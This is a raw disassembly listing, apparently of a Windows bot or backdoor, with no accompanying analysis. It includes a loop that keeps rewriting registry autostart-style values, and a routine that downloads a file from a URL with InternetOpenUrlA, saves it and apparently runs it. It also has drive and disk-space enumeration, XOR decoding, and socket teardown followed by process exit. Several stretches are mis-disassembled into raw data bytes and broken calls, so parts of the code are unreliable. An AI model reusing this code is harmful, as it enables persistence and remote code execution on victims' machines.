; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D16 proc near ; CODE XREF: seg000:0040CDA2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_434B58
mov edi, 0B8h
loc_407D2A: ; CODE XREF: sub_407D16+33j
cmp byte ptr [esi], 0
jz short loc_407D4D
push [ebp+arg_0]
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_407D4D
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4356D8
jl short loc_407D2A
jmp short loc_407D8F
; ---------------------------------------------------------------------------
loc_407D4D: ; CODE XREF: sub_407D16+17j
; sub_407D16+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_434B58[esi]
push ebx
call sub_410590
push 17h
push [ebp+arg_0]
push ebx
call sub_411D00
push 9Fh
lea eax, dword_434B70[esi]
push [ebp+arg_4]
push eax
call sub_411D00
add esp, 24h
inc ds:dword_42561C
pop ebx
loc_407D8F: ; CODE XREF: sub_407D16+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_407D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D96 proc near ; CODE XREF: seg000:0040DDD8p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_422B74
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
xor edi, edi
mov esi, offset dword_434B58
loc_407DC0: ; CODE XREF: sub_407D96+72j
cmp byte ptr [esi], 0
jz short loc_407DFB
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_422B68
lea eax, [ebp+var_200]
push 200h
push eax
call sub_410A8A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 2Ch
loc_407DFB: ; CODE XREF: sub_407D96+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4356D8
jl short loc_407DC0
pop edi
pop esi
leave
retn
sub_407D96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E0E proc near ; CODE XREF: sub_401000+97p
; seg000:004014CCp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_41C000 ; GetLocalTime
mov ebx, offset dword_434B10
mov edi, 80h
mov esi, offset dword_430B10
loc_407E30: ; CODE XREF: sub_407E0E+3Dj
cmp byte ptr [ebx], 0
jz short loc_407E47
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_411D00
add esp, 0Ch
loc_407E47: ; CODE XREF: sub_407E0E+25j
sub ebx, edi
cmp ebx, esi
jge short loc_407E30
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_410A8A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_407E0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E82 proc near ; CODE XREF: sub_405982+15Bp
; sub_405B0A+1AFp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41232F
lea eax, [ebp+var_80]
push eax
call sub_407E0E
add esp, 14h
leave
retn
sub_407E82 endp
; =============== S U B R O U T I N E =======================================
sub_407EAE proc near ; CODE XREF: seg000:0040DCCFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_430B10
xor ecx, ecx
loc_407EB5: ; CODE XREF: sub_407EAE+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_434B10
jl short loc_407EB5
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_422BA8
jnz short loc_407EE5
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_40E367
add esp, 14h
loc_407EE5: ; CODE XREF: sub_407EAE+1Fj
push esi
call sub_407E0E
pop ecx
pop esi
retn
sub_407EAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407EEE proc near ; DATA XREF: seg000:0040DD82o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_407F41
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_422C10
push eax
push [ebp+var_11C]
call sub_40E367
add esp, 14h
loc_407F41: ; CODE XREF: sub_407EEE+33j
cmp [ebp+var_98], 0
jz short loc_407F61
lea eax, [ebp+var_98]
push eax
call sub_410A7F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_407F61
mov [ebp+var_8], eax
loc_407F61: ; CODE XREF: sub_407EEE+5Aj
; sub_407EEE+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_430B10
loc_407F6A: ; CODE XREF: sub_407EEE+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_407FC4
cmp byte ptr [esi], 0
jz short loc_407FB3
cmp [ebp+var_98], 0
jz short loc_407F99
cmp [ebp+var_4], 0
jnz short loc_407F99
lea eax, [ebp+var_98]
push eax
push esi
call sub_406E06
pop ecx
test eax, eax
pop ecx
jz short loc_407FB3
loc_407F99: ; CODE XREF: sub_407EEE+90j
; sub_407EEE+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40E367
add esp, 14h
loc_407FB3: ; CODE XREF: sub_407EEE+87j
; sub_407EEE+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_434B10
jl short loc_407F6A
loc_407FC4: ; CODE XREF: sub_407EEE+82j
lea eax, [ebp+var_31C]
push offset dword_422BE0
push eax
call sub_41050B
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_407FFE
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40E367
add esp, 14h
loc_407FFE: ; CODE XREF: sub_407EEE+EEj
lea eax, [ebp+var_31C]
push eax
call sub_407E0E
push [ebp+var_18]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
pushf
pop edi
pop esi
sub_407EEE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40801D proc near ; CODE XREF: seg000:004070F7p
; sub_40808D+4p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_422C40
xor esi, esi
mov ebx, offset dword_423088
loc_408030: ; CODE XREF: sub_40801D+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call ds:dword_43074C ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40806A
push [ebp+arg_0]
call sub_410B60
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call ds:dword_4307B8 ; RegSetValueExA
jmp short loc_408074
; ---------------------------------------------------------------------------
loc_40806A: ; CODE XREF: sub_40801D+2Fj
push ebx
push [ebp+var_4]
call ds:dword_43070C ; RegDeleteValueA
loc_408074: ; CODE XREF: sub_40801D+4Bj
push [ebp+var_4]
call ds:dword_430770 ; RegCloseKey
add edi, 8
cmp edi, offset unk_422C58
jl short loc_408030
pop edi
pop esi
pop ebx
leave
retn
sub_40801D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40808D proc near ; CODE XREF: sub_40808D+16j
; DATA XREF: seg000:00408F2Co
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40801D
pop ecx
push ds:dword_422C38
call ds:dword_41C058 ; Sleep
jmp short sub_40808D
sub_40808D endp
; =============== S U B R O U T I N E =======================================
sub_4080A5 proc near ; CODE XREF: seg000:00408136p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4080DA
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_4080BE: ; CODE XREF: sub_4080A5+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_41C23C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4080BE
pop edi
pop ebx
loc_4080DA: ; CODE XREF: sub_4080A5+Ej
mov eax, esi
pop esi
not eax
retn
sub_4080A5 endp
; ---------------------------------------------------------------------------
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_410C0F
mov dword ptr [esp], offset aRb ; "rb"
push dword ptr [esp+14h]
mov esi, eax
call sub_411B4E
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40812F
loc_408105: ; CODE XREF: seg000:0040812Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_408133
inc ebx
push ebx
push esi
call sub_41237F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40812F
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_411A46
add esp, 10h
jmp short loc_408105
; ---------------------------------------------------------------------------
loc_40812F: ; CODE XREF: seg000:00408103j
; seg000:00408119j
xor eax, eax
jmp short loc_40814E
; ---------------------------------------------------------------------------
loc_408133: ; CODE XREF: seg000:00408109j
dec ebx
push ebx
push esi
call sub_4080A5
push esi
mov ebx, eax
call sub_410C83
push edi
call sub_4119F0
add esp, 10h
mov eax, ebx
loc_40814E: ; CODE XREF: seg000:00408131j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_408152: ; DATA XREF: seg000:0040C1DDo
; seg000:0040C851o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push ds:dword_430748
call ds:dword_4306B4 ; InternetOpenUrlA
cmp eax, esi
mov [ebp-18h], eax
jz loc_4085DE
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call ds:dword_41C078 ; CreateFileA
cmp eax, edi ; CODE XREF: seg000:0040822Bj
mov [ebp-20h], eax
jnb short near ptr loc_408218+1
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_422ED0
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4081FC
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40E367
add esp, 14h
loc_4081FC: ; CODE XREF: seg000:004081DAj
lea eax, [ebp-510h]
push eax
call sub_407E0E
push dword ptr [ebp-48h]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
loc_408218: ; CODE XREF: seg000:004081BAj
mov al, ds:15FFFF33h
dec esp
rol byte ptr [ecx+0], 0BBh
add al, dl
pop es
add [ecx-17AC03BBh], cl
loopne near ptr loc_4081B5+1
; ---------------------------------------------------------------------------
db 2 dup(0), 59h
dd 68E44589h, 200h, 0FAF0858Dh, 5056FFFFh, 834BE8h, 0CC48300h
dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh
dd 4306BC15h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh
dd 3CFE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh
dd 75FF5008h, 7D72E8E0h, 3B8DFFFDh, 8B2273FBh, 3BC72BC3h
dd 3760845h, 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h
dd 833EE850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h
dd 7D834A77h, 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h
dd 2E846850h, 10EB0042h, 500AE8C1h, 0FDB8858Dh, 6850FFFFh
dd 422E40h, 69B8458Bh, 234C0h, 56D80500h, 0E8500043h, 820Bh
dd 3910C483h, 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h
dd 49740000h, 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh
dd 0F86857ECh, 5000422Dh, 81D6E8h, 858D5600h, 0FFFFFAF0h
dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 6015E8FFh
dd 858D0000h, 0FFFFFAF0h, 0FAB0E850h, 0C483FFFFh, 4C15FF28h
dd 2B0041C0h, 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h
dd 0C78BC88Bh, 8BF1F741h, 7015FFD8h, 0FF0041C0h, 0F4E8E475h
dd 39000088h, 7459C875h, 0B8858D56h, 50FFFFFEh, 0FFFD3FE8h
dd 0C8453BFFh, 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h
dd 422DBC68h, 4CE85000h, 56000081h, 0FAF0858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 5F8Bh
dd 0FAF0858Dh, 0E850FFFFh, 0FFFFFA26h, 3928C483h, 840FEC75h
dd 237h, 1BC7D83h, 0E8840Fh, 5D890000h, 0FC7589F8h, 51F86DDFh
dd 0F87D8951h, 0DCFC7589h, 41C6400Dh, 0B8858D00h, 0DDFFFFFEh
dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh, 41C640h
dd 68241CDDh, 422D70h, 80CDE850h, 0C4830000h, 0D075391Ch
dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
dd 0FD34B5FFh, 4E8FFFFh, 8300005Fh, 858D14C4h, 0FFFFFAF0h
dd 0F99CE850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h
dd 0FEB8858Dh, 5056FFFFh, 422D6868h, 15FF5600h, 430714h
dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh
dd 3868FFFFh, 5000422Dh, 8056E8h, 858D5600h, 0FFFFFAF0h
dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 5E95E8FFh
dd 858D0000h, 0FFFFFAF0h, 0F930E850h, 0C483FFFFh, 145E924h
dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h
dd 41C6400Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h
dd 0FAF0858Dh, 0DDCFFFFh, 41C640h, 68241CDDh, 422CE4h
dd 7FE5E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h
dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 1CE8FFFFh
dd 8300005Eh, 858D14C4h, 0FFFFFAF0h, 0F8B4E850h, 106AFFFFh
dd 56F0458Dh, 802AE850h, 446A0000h, 0FCF0858Dh, 575FFFFFh
dd 19E85056h, 83000080h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh
dd 0FFFCFC85h, 42F3E8FFh, 66016A00h, 0FD20B589h, 505FFFFFh
dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh
dd 0BD895650h, 0FFFFFD1Ch, 0FD7A47E8h, 0C73B42FFh, 15FF1275h
dd 430700h, 0FFEB10E8h, 15FF56FFh, 41C0F8h, 0FEB8858Dh
dd 6850FFFFh, 422C98h
; ---------------------------------------------------------------------------
jmp short loc_4085EA
; ---------------------------------------------------------------------------
loc_4085DE: ; CODE XREF: seg000:00408197j
lea eax, [ebp-248h]
push eax
push offset unk_422C58
loc_4085EA: ; CODE XREF: seg000:004085DCj
lea eax, [ebp-510h]
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_40861E
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40E367
add esp, 14h
loc_40861E: ; CODE XREF: seg000:004085FCj
lea eax, [ebp-510h]
push eax
call sub_407E0E
pop ecx
push dword ptr [ebp-18h]
call ds:dword_4307C4 ; InternetCloseHandle
push dword ptr [ebp-48h]
call sub_4102D3
pop ecx
push esi
call near ptr 3E0000h
retf
; ---------------------------------------------------------------------------
mov eax, [esp+4]
xor ecx, ecx
cmp [esp+8], ecx
jle short locret_408660
loc_408650: ; CODE XREF: seg000:0040865Ej
mov dl, ds:byte_42300C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+8]
jl short loc_408650
locret_408660: ; CODE XREF: seg000:0040864Ej
retn
; =============== S U B R O U T I N E =======================================
sub_408661 proc near ; CODE XREF: seg000:0040B421p
; seg000:0040B580p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41249F
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_408661 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40867B proc near ; CODE XREF: sub_404134+45Dp
; sub_404134+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_434B14
push 0
push edi
call sub_410590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4086A0: ; CODE XREF: sub_40867B+5Bj
; sub_40867B+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_412100
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_412180
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4086DE
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4086A0
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4086A0
; ---------------------------------------------------------------------------
loc_4086DE: ; CODE XREF: sub_40867B+4Bj
dec esi
mov eax, edi
loc_4086E1: ; CODE XREF: sub_40867B+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_4086F0
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_4086E1
; ---------------------------------------------------------------------------
loc_4086F0: ; CODE XREF: sub_40867B+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40867B endp
; =============== S U B R O U T I N E =======================================
sub_4086FA proc near ; CODE XREF: sub_4088A6+51p
; sub_4088A6+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4307F0 ; GetDriveTypeA
sub eax, 0
jz short loc_40873D
dec eax
jz short loc_408737
dec eax
dec eax
jz short loc_408731
dec eax
jz short loc_40872B
dec eax
jz short loc_408725
dec eax
jz short loc_40871F
mov eax, offset word_422AD8
retn
; ---------------------------------------------------------------------------
loc_40871F: ; CODE XREF: sub_4086FA+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_408725: ; CODE XREF: sub_4086FA+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40872B: ; CODE XREF: sub_4086FA+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_408731: ; CODE XREF: sub_4086FA+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_408737: ; CODE XREF: sub_4086FA+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40873D: ; CODE XREF: sub_4086FA+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4086FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408743 proc near ; CODE XREF: sub_40878B+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_4306A0
test eax, eax
jz short loc_408778
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_408778: ; CODE XREF: sub_408743+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_408743 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40878B proc near ; CODE XREF: sub_40799C+1F3p
; sub_4088A6+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_408743
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_408863
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_408863
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_408863
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_4124F0
push edx
push eax
call sub_40867B
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_410A8A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_4124F0
push edx
push eax
call sub_40867B
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_410A8A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_4124F0
push edx
push eax
call sub_40867B
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_410A8A
add esp, 18h
pop ebx
jmp short loc_408892
; ---------------------------------------------------------------------------
loc_408863: ; CODE XREF: sub_40878B+2Cj
; sub_40878B+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41050B
lea eax, [ebp+var_118]
push esi
push eax
call sub_41050B
lea eax, [ebp+var_98]
push esi
push eax
call sub_41050B
add esp, 18h
loc_408892: ; CODE XREF: sub_40878B+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40878B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088A6 proc near ; CODE XREF: sub_408978+17p
; sub_408978+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40878B
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_410930
add esp, 10h
test eax, eax
jnz short loc_408919
push ebx
push ebx
call sub_4086FA
pop ecx
push eax
push offset dword_422F98
lea eax, [ebp+var_500]
push 200h
push eax
call sub_410A8A
add esp, 14h
jmp short loc_40894D
; ---------------------------------------------------------------------------
loc_408919: ; CODE XREF: sub_4088A6+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4086FA
pop ecx
push eax
push offset dword_422F48
lea eax, [ebp+var_500]
push 200h
push eax
call sub_410A8A
add esp, 20h
loc_40894D: ; CODE XREF: sub_4088A6+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
lea eax, [ebp+var_500]
push eax
call sub_407E0E
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4088A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408978 proc near ; CODE XREF: seg000:0040DA6Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_408999
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4088A6
add esp, 10h
jmp short loc_4089FA
; ---------------------------------------------------------------------------
loc_408999: ; CODE XREF: sub_408978+9j
push esi
push edi
push ebx
push ebx
call ds:dword_430710 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_410C0F
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_430710 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4089F1
loc_4089BD: ; CODE XREF: sub_408978+77j
push offset aA_0 ; "A:\\"
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_4089E0
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4088A6
add esp, 10h
loc_4089E0: ; CODE XREF: sub_408978+54j
push esi
call sub_410B60
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_4089BD
loc_4089F1: ; CODE XREF: sub_408978+43j
push edi
call sub_410C83
pop ecx
pop edi
pop esi
loc_4089FA: ; CODE XREF: sub_408978+1Fj
pop ebx
pop ebp
retn
sub_408978 endp
; ---------------------------------------------------------------------------
loc_4089FD: ; DATA XREF: seg000:00408AF9o
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_4358E4
call ds:dword_430828 ; closesocket
call sub_410180
call ds:dword_430700 ; WSACleanup
call ds:dword_430700 ; WSACleanup
mov ebx, ds:dword_41C058
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_410590
push 44h
lea eax, [ebp-54h]
pop esi
push esi
push edi
push eax
call sub_410590
add esp, 18h
mov [ebp-54h], esi
mov esi, 104h
lea eax, [ebp-25Ch]
push esi
push eax
mov dword ptr [ebp-48h], offset dword_42F3E8
mov dword ptr [ebp-28h], 1
mov [ebp-24h], di
call near ptr 3E0000h
add cl, [ebp-1577Bh]
call dword ptr [esi+50h]
push edi
call near ptr 3E0000h
mov ah, 8Dh
inc ebp
lock push eax
lea eax, [ebp-54h]
push eax
lea eax, [ebp-25Ch]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp-158h]
push edi
push eax
push edi
call near ptr 3E0000h
push esi
test eax, eax
jz short loc_408AC2
push 64h
call ebx ; Sleep
push dword ptr [ebp-10h]
mov esi, ds:dword_41C070
call esi ; CloseHandle
push dword ptr [ebp-0Ch]
call esi ; CloseHandle
loc_408AC2: ; CODE XREF: seg000:00408AACj
mov eax, [ebp+10h]
mov dword ptr [eax+0B0h], offset dword_434B4C
mov eax, [esp]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_41C0F8 ; ExitProcess
pop edi
pop esi
pop ebx
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
